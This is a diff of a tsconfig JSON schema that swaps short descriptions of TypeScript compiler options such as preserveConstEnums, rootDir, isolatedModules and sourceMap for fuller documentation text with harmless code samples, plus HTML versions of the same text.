+              "description": "Do not erase `const enum` declarations in generated code. `const enum`s provide a way to reduce the overall memory footprint\nof your application at runtime by emitting the enum value instead of a reference.\n\nFor example with this TypeScript:\n\n```ts twoslash\nconst enum Album {\n  JimmyEatWorldFutures = 1,\n  TubRingZooHypothesis = 2,\n  DogFashionDiscoAdultery = 3,\n}\n\nconst selectedAlbum = Album.JimmyEatWorldFutures;\nif (selectedAlbum === Album.JimmyEatWorldFutures) {\n  console.log(\"That is a great choice.\");\n}\n```\n\nThe default `const enum` behavior is to convert any `Album.Something` to the corresponding number literal, and to remove a reference\nto the enum from the JavaScript completely.\n\n```ts twoslash\n// @showEmit\nconst enum Album {\n  JimmyEatWorldFutures = 1,\n  TubRingZooHypothesis = 2,\n  DogFashionDiscoAdultery = 3,\n}\n\nconst selectedAlbum = Album.JimmyEatWorldFutures;\nif (selectedAlbum === Album.JimmyEatWorldFutures) {\n  console.log(\"That is a great choice.\");\n}\n```\n\nWith `preserveConstEnums` set to `true`, the `enum` exists at runtime and the numbers are still emitted.\n\n```ts twoslash\n// @preserveConstEnums: true\n// @showEmit\nconst enum Album {\n  JimmyEatWorldFutures = 1,\n  TubRingZooHypothesis = 2,\n  DogFashionDiscoAdultery = 3,\n}\n\nconst selectedAlbum = Album.JimmyEatWorldFutures;\nif (selectedAlbum === Album.JimmyEatWorldFutures) {\n  console.log(\"That is a great choice.\");\n}\n```\n\nThis essentially makes such `const enums` a source-code feature only, with no runtime traces.",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Disable erasing `const enum` declarations in generated code.\n\nSee more: https://www.typescriptlang.org/tsconfig#preserveConstEnums"
+              "markdownDescription": "Do not erase `const enum` declarations in generated code. `const enum`s provide a way to reduce the overall memory footprint\nof your application at runtime by emitting the enum value instead of a reference.\n\nFor example with this TypeScript:\n\n```ts twoslash\nconst enum Album {\n  JimmyEatWorldFutures = 1,\n  TubRingZooHypothesis = 2,\n  DogFashionDiscoAdultery = 3,\n}\n\nconst selectedAlbum = Album.JimmyEatWorldFutures;\nif (selectedAlbum === Album.JimmyEatWorldFutures) {\n  console.log(\"That is a great choice.\");\n}\n```\n\nThe default `const enum` behavior is to convert any `Album.Something` to the corresponding number literal, and to remove a reference\nto the enum from the JavaScript completely.\n\n```ts twoslash\n// @showEmit\nconst enum Album {\n  JimmyEatWorldFutures = 1,\n  TubRingZooHypothesis = 2,\n  DogFashionDiscoAdultery = 3,\n}\n\nconst selectedAlbum = Album.JimmyEatWorldFutures;\nif (selectedAlbum === Album.JimmyEatWorldFutures) {\n  console.log(\"That is a great choice.\");\n}\n```\n\nWith `preserveConstEnums` set to `true`, the `enum` exists at runtime and the numbers are still emitted.\n\n```ts twoslash\n// @preserveConstEnums: true\n// @showEmit\nconst enum Album {\n  JimmyEatWorldFutures = 1,\n  TubRingZooHypothesis = 2,\n  DogFashionDiscoAdultery = 3,\n}\n\nconst selectedAlbum = Album.JimmyEatWorldFutures;\nif (selectedAlbum === Album.JimmyEatWorldFutures) {\n  console.log(\"That is a great choice.\");\n}\n```\n\nThis essentially makes such `const enums` a source-code feature only, with no runtime traces.",
+              "x-intellij-html-description": "<p>Do not erase <code>const enum</code> declarations in generated code. <code>const enum</code>s provide a way to reduce the overall memory footprint\nof your application at runtime by emitting the enum value instead of a reference.</p>\n<p>For example with this TypeScript:</p>\n<pre><code class=\"language-ts\">const enum Album {\n  JimmyEatWorldFutures = 1,\n  TubRingZooHypothesis = 2,\n  DogFashionDiscoAdultery = 3,\n}\n\nconst selectedAlbum = Album.JimmyEatWorldFutures;\nif (selectedAlbum === Album.JimmyEatWorldFutures) {\n  console.log(&quot;That is a great choice.&quot;);\n}\n</code></pre>\n<p>The default <code>const enum</code> behavior is to convert any <code>Album.Something</code> to the corresponding number literal, and to remove a reference\nto the enum from the JavaScript completely.</p>\n<pre><code class=\"language-ts\">// @showEmit\nconst enum Album {\n  JimmyEatWorldFutures = 1,\n  TubRingZooHypothesis = 2,\n  DogFashionDiscoAdultery = 3,\n}\n\nconst selectedAlbum = Album.JimmyEatWorldFutures;\nif (selectedAlbum === Album.JimmyEatWorldFutures) {\n  console.log(&quot;That is a great choice.&quot;);\n}\n</code></pre>\n<p>With <code>preserveConstEnums</code> set to <code>true</code>, the <code>enum</code> exists at runtime and the numbers are still emitted.</p>\n<pre><code class=\"language-ts\">// @preserveConstEnums: true\n// @showEmit\nconst enum Album {\n  JimmyEatWorldFutures = 1,\n  TubRingZooHypothesis = 2,\n  DogFashionDiscoAdultery = 3,\n}\n\nconst selectedAlbum = Album.JimmyEatWorldFutures;\nif (selectedAlbum === Album.JimmyEatWorldFutures) {\n  console.log(&quot;That is a great choice.&quot;);\n}\n</code></pre>\n<p>This essentially makes such <code>const enums</code> a source-code feature only, with no runtime traces.</p>\n"
             },
             "preserveSymlinks": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Disable resolving symlinks to their realpath. This correlates to the same flag in node.",
+              "description": "This is to reflect the same flag in Node.js; which does not resolve the real path of symlinks.\n\nThis flag also exhibits the opposite behavior to Webpack’s `resolve.symlinks` option (i.e. setting TypeScript’s `preserveSymlinks` to true parallels setting Webpack’s `resolve.symlinks` to false, and vice-versa).\n\nWith this enabled, references to modules and packages (e.g. `import`s and `/// <reference type=\"...\" />` directives) are all resolved relative to the location of the symbolic link file, rather than relative to the path that the symbolic link resolves to.",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Disable resolving symlinks to their realpath. This correlates to the same flag in node.\n\nSee more: https://www.typescriptlang.org/tsconfig#preserveSymlinks"
+              "markdownDescription": "This is to reflect the same flag in Node.js; which does not resolve the real path of symlinks.\n\nThis flag also exhibits the opposite behavior to Webpack’s `resolve.symlinks` option (i.e. setting TypeScript’s `preserveSymlinks` to true parallels setting Webpack’s `resolve.symlinks` to false, and vice-versa).\n\nWith this enabled, references to modules and packages (e.g. `import`s and `/// <reference type=\"...\" />` directives) are all resolved relative to the location of the symbolic link file, rather than relative to the path that the symbolic link resolves to.",
+              "x-intellij-html-description": "<p>This is to reflect the same flag in Node.js; which does not resolve the real path of symlinks.</p>\n<p>This flag also exhibits the opposite behavior to Webpack’s <code>resolve.symlinks</code> option (i.e. setting TypeScript’s <code>preserveSymlinks</code> to true parallels setting Webpack’s <code>resolve.symlinks</code> to false, and vice-versa).</p>\n<p>With this enabled, references to modules and packages (e.g. <code>import</code>s and <code>/// &lt;reference type=&quot;...&quot; /&gt;</code> directives) are all resolved relative to the location of the symbolic link file, rather than relative to the path that the symbolic link resolves to.</p>\n"
             },
             "preserveValueImports": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Preserve unused imported values in the JavaScript output that would otherwise be removed",
+              "description": "Deprecated in favor of [`verbatimModuleSyntax`](https://typescriptlang.org/tsconfig/#verbatimModuleSyntax).\n\nThere are some cases where TypeScript can't detect that you're using an import. For example, take the following code:\n\n```ts\nimport { Animal } from \"./animal.js\";\n\neval(\"console.log(new Animal().isDangerous())\");\n```\n\nor code using 'Compiles to HTML' languages like Svelte or Vue. `preserveValueImports` will prevent TypeScript from removing the import, even if it appears unused.\n\nWhen combined with [`isolatedModules`](https://typescriptlang.org/tsconfig/#isolatedModules): imported types _must_ be marked as type-only because compilers that process single files at a time have no way of knowing whether imports are values that appear unused, or a type that must be removed in order to avoid a runtime crash.",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Preserve unused imported values in the JavaScript output that would otherwise be removed\n\nSee more: https://www.typescriptlang.org/tsconfig#preserveValueImports"
+              "markdownDescription": "Deprecated in favor of [`verbatimModuleSyntax`](https://typescriptlang.org/tsconfig/#verbatimModuleSyntax).\n\nThere are some cases where TypeScript can't detect that you're using an import. For example, take the following code:\n\n```ts\nimport { Animal } from \"./animal.js\";\n\neval(\"console.log(new Animal().isDangerous())\");\n```\n\nor code using 'Compiles to HTML' languages like Svelte or Vue. `preserveValueImports` will prevent TypeScript from removing the import, even if it appears unused.\n\nWhen combined with [`isolatedModules`](https://typescriptlang.org/tsconfig/#isolatedModules): imported types _must_ be marked as type-only because compilers that process single files at a time have no way of knowing whether imports are values that appear unused, or a type that must be removed in order to avoid a runtime crash.",
+              "x-intellij-html-description": "<p>Deprecated in favor of <a href=\"https://typescriptlang.org/tsconfig/#verbatimModuleSyntax\"><code>verbatimModuleSyntax</code></a>.</p>\n<p>There are some cases where TypeScript can&#39;t detect that you&#39;re using an import. For example, take the following code:</p>\n<pre><code class=\"language-ts\">import { Animal } from &quot;./animal.js&quot;;\n\neval(&quot;console.log(new Animal().isDangerous())&quot;);\n</code></pre>\n<p>or code using &#39;Compiles to HTML&#39; languages like Svelte or Vue. <code>preserveValueImports</code> will prevent TypeScript from removing the import, even if it appears unused.</p>\n<p>When combined with <a href=\"https://typescriptlang.org/tsconfig/#isolatedModules\"><code>isolatedModules</code></a>: imported types <em>must</em> be marked as type-only because compilers that process single files at a time have no way of knowing whether imports are values that appear unused, or a type that must be removed in order to avoid a runtime crash.</p>\n"
             },
             "preserveWatchOutput": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Disable wiping the console in watch mode",
+              "description": "Whether to keep outdated console output in watch mode instead of clearing the screen every time a change happened.",
               "type": ["boolean", "null"],
-              "markdownDescription": "Disable wiping the console in watch mode\n\nSee more: https://www.typescriptlang.org/tsconfig#preserveWatchOutput"
+              "markdownDescription": "Whether to keep outdated console output in watch mode instead of clearing the screen every time a change happened.",
+              "x-intellij-html-description": "<p>Whether to keep outdated console output in watch mode instead of clearing the screen every time a change happened.</p>\n"
             },
             "pretty": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Enable color and formatting in output to make compiler errors easier to read",
+              "description": "Stylize errors and messages using color and context, this is on by default &mdash; offers you a chance to have less terse,\nsingle colored messages from the compiler.",
               "type": ["boolean", "null"],
               "default": true,
-              "markdownDescription": "Enable color and formatting in output to make compiler errors easier to read\n\nSee more: https://www.typescriptlang.org/tsconfig#pretty"
+              "markdownDescription": "Stylize errors and messages using color and context, this is on by default &mdash; offers you a chance to have less terse,\nsingle colored messages from the compiler.",
+              "x-intellij-html-description": "<p>Stylize errors and messages using color and context, this is on by default &mdash; offers you a chance to have less terse,\nsingle colored messages from the compiler.</p>\n"
             },
             "removeComments": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Disable emitting comments.",
+              "description": "Strips all comments from TypeScript files when converting into JavaScript. Defaults to `false`.\n\nFor example, this is a TypeScript file which has a JSDoc comment:\n\n```ts\n/** The translation of 'Hello world' into Portuguese */\nexport const helloWorldPTBR = \"Olá Mundo\";\n```\n\nWhen `removeComments` is set to `true`:\n\n```ts twoslash\n// @showEmit\n// @removeComments: true\n/** The translation of 'Hello world' into Portuguese */\nexport const helloWorldPTBR = \"Olá Mundo\";\n```\n\nWithout setting `removeComments` or having it as `false`:\n\n```ts twoslash\n// @showEmit\n// @removeComments: false\n/** The translation of 'Hello world' into Portuguese */\nexport const helloWorldPTBR = \"Olá Mundo\";\n```\n\nThis means that your comments will show up in the JavaScript code.",
+              "type": ["boolean", "null"],
+              "default": false,
+              "markdownDescription": "Strips all comments from TypeScript files when converting into JavaScript. Defaults to `false`.\n\nFor example, this is a TypeScript file which has a JSDoc comment:\n\n```ts\n/** The translation of 'Hello world' into Portuguese */\nexport const helloWorldPTBR = \"Olá Mundo\";\n```\n\nWhen `removeComments` is set to `true`:\n\n```ts twoslash\n// @showEmit\n// @removeComments: true\n/** The translation of 'Hello world' into Portuguese */\nexport const helloWorldPTBR = \"Olá Mundo\";\n```\n\nWithout setting `removeComments` or having it as `false`:\n\n```ts twoslash\n// @showEmit\n// @removeComments: false\n/** The translation of 'Hello world' into Portuguese */\nexport const helloWorldPTBR = \"Olá Mundo\";\n```\n\nThis means that your comments will show up in the JavaScript code.",
+              "x-intellij-html-description": "<p>Strips all comments from TypeScript files when converting into JavaScript. Defaults to <code>false</code>.</p>\n<p>For example, this is a TypeScript file which has a JSDoc comment:</p>\n<pre><code class=\"language-ts\">/** The translation of &#39;Hello world&#39; into Portuguese */\nexport const helloWorldPTBR = &quot;Olá Mundo&quot;;\n</code></pre>\n<p>When <code>removeComments</code> is set to <code>true</code>:</p>\n<pre><code class=\"language-ts\">// @showEmit\n// @removeComments: true\n/** The translation of &#39;Hello world&#39; into Portuguese */\nexport const helloWorldPTBR = &quot;Olá Mundo&quot;;\n</code></pre>\n<p>Without setting <code>removeComments</code> or having it as <code>false</code>:</p>\n<pre><code class=\"language-ts\">// @showEmit\n// @removeComments: false\n/** The translation of &#39;Hello world&#39; into Portuguese */\nexport const helloWorldPTBR = &quot;Olá Mundo&quot;;\n</code></pre>\n<p>This means that your comments will show up in the JavaScript code.</p>\n"
+            },
+            "rewriteRelativeImportExtensions": {
+              "description": "Rewrite `.ts`, `.tsx`, `.mts`, and `.cts` file extensions in relative import paths to their JavaScript equivalent in output files.\n \nFor more information, see the [TypeScript 5.7 release notes](https://typescriptlang.org/docs/handbook/release-notes/typescript-5-7.html#path-rewriting-for-relative-paths).",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Disable emitting comments.\n\nSee more: https://www.typescriptlang.org/tsconfig#removeComments"
+              "markdownDescription": "Rewrite `.ts`, `.tsx`, `.mts`, and `.cts` file extensions in relative import paths to their JavaScript equivalent in output files.\n \nFor more information, see the [TypeScript 5.7 release notes](https://typescriptlang.org/docs/handbook/release-notes/typescript-5-7.html#path-rewriting-for-relative-paths).",
+              "x-intellij-html-description": "<p>Rewrite <code>.ts</code>, <code>.tsx</code>, <code>.mts</code>, and <code>.cts</code> file extensions in relative import paths to their JavaScript equivalent in output files.</p>\n<p>For more information, see the <a href=\"https://typescriptlang.org/docs/handbook/release-notes/typescript-5-7.html#path-rewriting-for-relative-paths\">TypeScript 5.7 release notes</a>.</p>\n"
             },
             "rootDir": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Specify the root folder within your source files.",
+              "description": "**Default**: The longest common path of all non-declaration input files. If [`composite`](https://typescriptlang.org/tsconfig/#composite) is set, the default is instead the directory containing the `tsconfig.json` file.\n\nWhen TypeScript compiles files, it keeps the same directory structure in the output directory as exists in the input directory.\n\nFor example, let's say you have some input files:\n\n```\nMyProj\n├── tsconfig.json\n├── core\n│   ├── a.ts\n│   ├── b.ts\n│   ├── sub\n│   │   ├── c.ts\n├── types.d.ts\n```\n\nThe inferred value for `rootDir` is the longest common path of all non-declaration input files, which in this case is `core/`.\n\nIf your [`outDir`](https://typescriptlang.org/tsconfig/#outDir) was `dist`, TypeScript would write this tree:\n\n```\nMyProj\n├── dist\n│   ├── a.js\n│   ├── b.js\n│   ├── sub\n│   │   ├── c.js\n```\n\nHowever, you may have intended for `core` to be part of the output directory structure.\nBy setting `rootDir: \".\"` in `tsconfig.json`, TypeScript would write this tree:\n\n```\nMyProj\n├── dist\n│   ├── core\n│   │   ├── a.js\n│   │   ├── b.js\n│   │   ├── sub\n│   │   │   ├── c.js\n```\n\nImportantly, `rootDir` **does not affect which files become part of the compilation**.\nIt has no interaction with the [`include`](https://typescriptlang.org/tsconfig/#include), [`exclude`](https://typescriptlang.org/tsconfig/#exclude), or [`files`](https://typescriptlang.org/tsconfig/#files) `tsconfig.json` settings.\n\nNote that TypeScript will never write an output file to a directory outside of [`outDir`](https://typescriptlang.org/tsconfig/#outDir), and will never skip emitting a file.\nFor this reason, `rootDir` also enforces that all files which need to be emitted are underneath the `rootDir` path.\n\nFor example, let's say you had this tree:\n\n```\nMyProj\n├── tsconfig.json\n├── core\n│   ├── a.ts\n│   ├── b.ts\n├── helpers.ts\n```\n\nIt would be an error to specify `rootDir` as `core` _and_ [`include`](https://typescriptlang.org/tsconfig/#include) as `*` because it creates a file (`helpers.ts`) that would need to be emitted _outside_ the [`outDir`](https://typescriptlang.org/tsconfig/#outDir) (i.e. `../helpers.js`).",
               "type": ["string", "null"],
-              "markdownDescription": "Specify the root folder within your source files.\n\nSee more: https://www.typescriptlang.org/tsconfig#rootDir"
+              "markdownDescription": "**Default**: The longest common path of all non-declaration input files. If [`composite`](https://typescriptlang.org/tsconfig/#composite) is set, the default is instead the directory containing the `tsconfig.json` file.\n\nWhen TypeScript compiles files, it keeps the same directory structure in the output directory as exists in the input directory.\n\nFor example, let's say you have some input files:\n\n```\nMyProj\n├── tsconfig.json\n├── core\n│   ├── a.ts\n│   ├── b.ts\n│   ├── sub\n│   │   ├── c.ts\n├── types.d.ts\n```\n\nThe inferred value for `rootDir` is the longest common path of all non-declaration input files, which in this case is `core/`.\n\nIf your [`outDir`](https://typescriptlang.org/tsconfig/#outDir) was `dist`, TypeScript would write this tree:\n\n```\nMyProj\n├── dist\n│   ├── a.js\n│   ├── b.js\n│   ├── sub\n│   │   ├── c.js\n```\n\nHowever, you may have intended for `core` to be part of the output directory structure.\nBy setting `rootDir: \".\"` in `tsconfig.json`, TypeScript would write this tree:\n\n```\nMyProj\n├── dist\n│   ├── core\n│   │   ├── a.js\n│   │   ├── b.js\n│   │   ├── sub\n│   │   │   ├── c.js\n```\n\nImportantly, `rootDir` **does not affect which files become part of the compilation**.\nIt has no interaction with the [`include`](https://typescriptlang.org/tsconfig/#include), [`exclude`](https://typescriptlang.org/tsconfig/#exclude), or [`files`](https://typescriptlang.org/tsconfig/#files) `tsconfig.json` settings.\n\nNote that TypeScript will never write an output file to a directory outside of [`outDir`](https://typescriptlang.org/tsconfig/#outDir), and will never skip emitting a file.\nFor this reason, `rootDir` also enforces that all files which need to be emitted are underneath the `rootDir` path.\n\nFor example, let's say you had this tree:\n\n```\nMyProj\n├── tsconfig.json\n├── core\n│   ├── a.ts\n│   ├── b.ts\n├── helpers.ts\n```\n\nIt would be an error to specify `rootDir` as `core` _and_ [`include`](https://typescriptlang.org/tsconfig/#include) as `*` because it creates a file (`helpers.ts`) that would need to be emitted _outside_ the [`outDir`](https://typescriptlang.org/tsconfig/#outDir) (i.e. `../helpers.js`).",
+              "x-intellij-html-description": "<p><strong>Default</strong>: The longest common path of all non-declaration input files. If <a href=\"https://typescriptlang.org/tsconfig/#composite\"><code>composite</code></a> is set, the default is instead the directory containing the <code>tsconfig.json</code> file.</p>\n<p>When TypeScript compiles files, it keeps the same directory structure in the output directory as exists in the input directory.</p>\n<p>For example, let&#39;s say you have some input files:</p>\n<pre><code>MyProj\n├── tsconfig.json\n├── core\n│   ├── a.ts\n│   ├── b.ts\n│   ├── sub\n│   │   ├── c.ts\n├── types.d.ts\n</code></pre>\n<p>The inferred value for <code>rootDir</code> is the longest common path of all non-declaration input files, which in this case is <code>core/</code>.</p>\n<p>If your <a href=\"https://typescriptlang.org/tsconfig/#outDir\"><code>outDir</code></a> was <code>dist</code>, TypeScript would write this tree:</p>\n<pre><code>MyProj\n├── dist\n│   ├── a.js\n│   ├── b.js\n│   ├── sub\n│   │   ├── c.js\n</code></pre>\n<p>However, you may have intended for <code>core</code> to be part of the output directory structure.\nBy setting <code>rootDir: &quot;.&quot;</code> in <code>tsconfig.json</code>, TypeScript would write this tree:</p>\n<pre><code>MyProj\n├── dist\n│   ├── core\n│   │   ├── a.js\n│   │   ├── b.js\n│   │   ├── sub\n│   │   │   ├── c.js\n</code></pre>\n<p>Importantly, <code>rootDir</code> <strong>does not affect which files become part of the compilation</strong>.\nIt has no interaction with the <a href=\"https://typescriptlang.org/tsconfig/#include\"><code>include</code></a>, <a href=\"https://typescriptlang.org/tsconfig/#exclude\"><code>exclude</code></a>, or <a href=\"https://typescriptlang.org/tsconfig/#files\"><code>files</code></a> <code>tsconfig.json</code> settings.</p>\n<p>Note that TypeScript will never write an output file to a directory outside of <a href=\"https://typescriptlang.org/tsconfig/#outDir\"><code>outDir</code></a>, and will never skip emitting a file.\nFor this reason, <code>rootDir</code> also enforces that all files which need to be emitted are underneath the <code>rootDir</code> path.</p>\n<p>For example, let&#39;s say you had this tree:</p>\n<pre><code>MyProj\n├── tsconfig.json\n├── core\n│   ├── a.ts\n│   ├── b.ts\n├── helpers.ts\n</code></pre>\n<p>It would be an error to specify <code>rootDir</code> as <code>core</code> <em>and</em> <a href=\"https://typescriptlang.org/tsconfig/#include\"><code>include</code></a> as <code>*</code> because it creates a file (<code>helpers.ts</code>) that would need to be emitted <em>outside</em> the <a href=\"https://typescriptlang.org/tsconfig/#outDir\"><code>outDir</code></a> (i.e. <code>../helpers.js</code>).</p>\n"
             },
             "isolatedModules": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Ensure that each file can be safely transpiled without relying on other imports.",
+              "description": "While you can use TypeScript to produce JavaScript code from TypeScript code, it's also common to use other transpilers such as [Babel](https://babeljs.io/) to do this.\nHowever, other transpilers only operate on a single file at a time, which means they can't apply code transforms that depend on understanding the full type system.\nThis restriction also applies to TypeScript's `ts.transpileModule` API which is used by some build tools.\n\nThese limitations can cause runtime problems with some TypeScript features like `const enum`s and `namespace`s.\nSetting the `isolatedModules` flag tells TypeScript to warn you if you write certain code that can't be correctly interpreted by a single-file transpilation process.\n\nIt does not change the behavior of your code, or otherwise change the behavior of TypeScript's checking and emitting process.\n\nSome examples of code which does not work when `isolatedModules` is enabled.\n\n#### Exports of Non-Value Identifiers\n\nIn TypeScript, you can import a _type_ and then subsequently export it:\n\n```ts twoslash\n// @noErrors\nimport { someType, someFunction } from \"someModule\";\n\nsomeFunction();\n\nexport { someType, someFunction };\n```\n\nBecause there's no value for `someType`, the emitted `export` will not try to export it (this would be a runtime error in JavaScript):\n\n```js\nexport { someFunction };\n```\n\nSingle-file transpilers don't know whether `someType` produces a value or not, so it's an error to export a name that only refers to a type.\n\n#### Non-Module Files\n\nIf `isolatedModules` is set, namespaces are only allowed in _modules_ (which means it has some form of `import`/`export`). An error occurs if a namespace is found in a non-module file:\n\n```ts twoslash\n// @errors: 1277\n// @isolatedModules\nnamespace Instantiated {\n export const x = 1;\n}\n```\n\nThis restriction doesn't apply to `.d.ts` files.\n\n#### References to `const enum` members\n\nIn TypeScript, when you reference a `const enum` member, the reference is replaced by its actual value in the emitted JavaScript. Changing this TypeScript:\n\n```ts twoslash\ndeclare const enum Numbers {\n  Zero = 0,\n  One = 1,\n}\nconsole.log(Numbers.Zero + Numbers.One);\n```\n\nTo this JavaScript:\n\n```ts twoslash\n// @showEmit\n// @removeComments\ndeclare const enum Numbers {\n  Zero = 0,\n  One = 1,\n}\nconsole.log(Numbers.Zero + Numbers.One);\n```\n\nWithout knowledge of the values of these members, other transpilers can't replace the references to `Numbers`, which would be a runtime error if left alone (since there are no `Numbers` object at runtime).\nBecause of this, when `isolatedModules` is set, it is an error to reference an ambient `const enum` member.",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Ensure that each file can be safely transpiled without relying on other imports.\n\nSee more: https://www.typescriptlang.org/tsconfig#isolatedModules"
+              "markdownDescription": "While you can use TypeScript to produce JavaScript code from TypeScript code, it's also common to use other transpilers such as [Babel](https://babeljs.io/) to do this.\nHowever, other transpilers only operate on a single file at a time, which means they can't apply code transforms that depend on understanding the full type system.\nThis restriction also applies to TypeScript's `ts.transpileModule` API which is used by some build tools.\n\nThese limitations can cause runtime problems with some TypeScript features like `const enum`s and `namespace`s.\nSetting the `isolatedModules` flag tells TypeScript to warn you if you write certain code that can't be correctly interpreted by a single-file transpilation process.\n\nIt does not change the behavior of your code, or otherwise change the behavior of TypeScript's checking and emitting process.\n\nSome examples of code which does not work when `isolatedModules` is enabled.\n\n#### Exports of Non-Value Identifiers\n\nIn TypeScript, you can import a _type_ and then subsequently export it:\n\n```ts twoslash\n// @noErrors\nimport { someType, someFunction } from \"someModule\";\n\nsomeFunction();\n\nexport { someType, someFunction };\n```\n\nBecause there's no value for `someType`, the emitted `export` will not try to export it (this would be a runtime error in JavaScript):\n\n```js\nexport { someFunction };\n```\n\nSingle-file transpilers don't know whether `someType` produces a value or not, so it's an error to export a name that only refers to a type.\n\n#### Non-Module Files\n\nIf `isolatedModules` is set, namespaces are only allowed in _modules_ (which means it has some form of `import`/`export`). An error occurs if a namespace is found in a non-module file:\n\n```ts twoslash\n// @errors: 1277\n// @isolatedModules\nnamespace Instantiated {\n export const x = 1;\n}\n```\n\nThis restriction doesn't apply to `.d.ts` files.\n\n#### References to `const enum` members\n\nIn TypeScript, when you reference a `const enum` member, the reference is replaced by its actual value in the emitted JavaScript. Changing this TypeScript:\n\n```ts twoslash\ndeclare const enum Numbers {\n  Zero = 0,\n  One = 1,\n}\nconsole.log(Numbers.Zero + Numbers.One);\n```\n\nTo this JavaScript:\n\n```ts twoslash\n// @showEmit\n// @removeComments\ndeclare const enum Numbers {\n  Zero = 0,\n  One = 1,\n}\nconsole.log(Numbers.Zero + Numbers.One);\n```\n\nWithout knowledge of the values of these members, other transpilers can't replace the references to `Numbers`, which would be a runtime error if left alone (since there are no `Numbers` object at runtime).\nBecause of this, when `isolatedModules` is set, it is an error to reference an ambient `const enum` member.",
+              "x-intellij-html-description": "<p>While you can use TypeScript to produce JavaScript code from TypeScript code, it&#39;s also common to use other transpilers such as <a href=\"https://babeljs.io/\">Babel</a> to do this.\nHowever, other transpilers only operate on a single file at a time, which means they can&#39;t apply code transforms that depend on understanding the full type system.\nThis restriction also applies to TypeScript&#39;s <code>ts.transpileModule</code> API which is used by some build tools.</p>\n<p>These limitations can cause runtime problems with some TypeScript features like <code>const enum</code>s and <code>namespace</code>s.\nSetting the <code>isolatedModules</code> flag tells TypeScript to warn you if you write certain code that can&#39;t be correctly interpreted by a single-file transpilation process.</p>\n<p>It does not change the behavior of your code, or otherwise change the behavior of TypeScript&#39;s checking and emitting process.</p>\n<p>Some examples of code which does not work when <code>isolatedModules</code> is enabled.</p>\n<h4>Exports of Non-Value Identifiers</h4>\n<p>In TypeScript, you can import a <em>type</em> and then subsequently export it:</p>\n<pre><code class=\"language-ts\">// @noErrors\nimport { someType, someFunction } from &quot;someModule&quot;;\n\nsomeFunction();\n\nexport { someType, someFunction };\n</code></pre>\n<p>Because there&#39;s no value for <code>someType</code>, the emitted <code>export</code> will not try to export it (this would be a runtime error in JavaScript):</p>\n<pre><code class=\"language-js\">export { someFunction };\n</code></pre>\n<p>Single-file transpilers don&#39;t know whether <code>someType</code> produces a value or not, so it&#39;s an error to export a name that only refers to a type.</p>\n<h4>Non-Module Files</h4>\n<p>If <code>isolatedModules</code> is set, namespaces are only allowed in <em>modules</em> (which means it has some form of <code>import</code>/<code>export</code>). An error occurs if a namespace is found in a non-module file:</p>\n<pre><code class=\"language-ts\">// @errors: 1277\n// @isolatedModules\nnamespace Instantiated {\n export const x = 1;\n}\n</code></pre>\n<p>This restriction doesn&#39;t apply to <code>.d.ts</code> files.</p>\n<h4>References to <code>const enum</code> members</h4>\n<p>In TypeScript, when you reference a <code>const enum</code> member, the reference is replaced by its actual value in the emitted JavaScript. Changing this TypeScript:</p>\n<pre><code class=\"language-ts\">declare const enum Numbers {\n  Zero = 0,\n  One = 1,\n}\nconsole.log(Numbers.Zero + Numbers.One);\n</code></pre>\n<p>To this JavaScript:</p>\n<pre><code class=\"language-ts\">// @showEmit\n// @removeComments\ndeclare const enum Numbers {\n  Zero = 0,\n  One = 1,\n}\nconsole.log(Numbers.Zero + Numbers.One);\n</code></pre>\n<p>Without knowledge of the values of these members, other transpilers can&#39;t replace the references to <code>Numbers</code>, which would be a runtime error if left alone (since there are no <code>Numbers</code> object at runtime).\nBecause of this, when <code>isolatedModules</code> is set, it is an error to reference an ambient <code>const enum</code> member.</p>\n"
             },
             "sourceMap": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Create source map files for emitted JavaScript files.",
+              "description": "Enables the generation of [sourcemap files](https://developer.mozilla.org/docs/Tools/Debugger/How_to/Use_a_source_map).\nThese files allow debuggers and other tools to display the original TypeScript source code when actually working with the emitted JavaScript files.\nSource map files are emitted as `.js.map` (or `.jsx.map`) files next to the corresponding `.js` output file.\n\nThe `.js` files will in turn contain a sourcemap comment to indicate where the files are to external tools, for example:\n\n```ts\n// helloWorld.ts\nexport declare const helloWorld = \"hi\";\n```\n\nCompiling with `sourceMap` set to `true` creates the following JavaScript file:\n\n```js\n// helloWorld.js\n\"use strict\";\nObject.defineProperty(exports, \"__esModule\", { value: true });\nexports.helloWorld = \"hi\";\n//# sourceMappingURL=// helloWorld.js.map\n```\n\nAnd this also generates this json map:\n\n```json\n// helloWorld.js.map\n{\n  \"version\": 3,\n  \"file\": \"ex.js\",\n  \"sourceRoot\": \"\",\n  \"sources\": [\"../ex.ts\"],\n  \"names\": [],\n  \"mappings\": \";;AAAa,QAAA,UAAU,GAAG,IAAI,CAAA\"\n}\n```",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Create source map files for emitted JavaScript files.\n\nSee more: https://www.typescriptlang.org/tsconfig#sourceMap"
